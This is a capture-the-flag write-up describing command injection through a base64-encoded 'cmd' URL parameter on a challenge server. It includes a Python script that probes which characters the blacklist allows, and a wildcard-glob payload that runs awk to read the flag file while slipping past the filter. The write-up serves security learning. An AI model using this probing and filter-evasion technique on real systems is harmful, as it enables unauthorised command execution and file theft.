After playing around on the website, I noticed the url contained a **cmd** parameter which contained a ls command base64 encoded. Playing with a few things makes it obvious there is a tight blacklist, so I made a little script to find out what characters I can use:

```
import requests
import base64
import string
url =
"http://34.159.130.118:31152/router.php?token=Kws2A9CoUzIeUSjcrpOV3a8IxmoCrGQna5j
xuVvl&cmd="
printable_chars = string.printable
def check_character(c):
    encoded_char = base64.b64encode(c.encode()).decode()
    response = requests.get(url + encoded_char)
    if "String not allowed." not in response.text:
        print(f"Character {c} (Base64: {encoded_char}) is allowed!")
for char in printable_chars:
    check_character(char)
```

We get: **045adlpswBFTW*-./** and **space**

Next up, I used some **ls /*/*** and so on to figure out where the flag is. Turns out, it's in **/var/www/html/flag/flag.php**

The hard part is now managing to find a way to actually read it.

Initially, I though of **less**, since we can use most if it, but it does not exist on their system, and **lzless** does not help.

Then, I considered **awk**. After a bit of research, something like **awk 5 filename** could be used, since "**5**" is treated as pattern condition thing, which is true, since it's not 0. As a result, this would print the contents of **filename**.

Putting it all toghether, we need to build a command that is as specific as possible that would use awk and mention the flag.php file, while using only whitelisted chars.

/*s*/*/aw* 5 /*a*/www/****/*la*/*la*.p*p**

This command is attempting to be equivalent to **/usr/bin/awk 5 /var/www/html/flag/flag.php**

After base64 encoding it and using it in the cmd parameter, lucky for us it works and we got the flag!

Made with love by: AndreiCat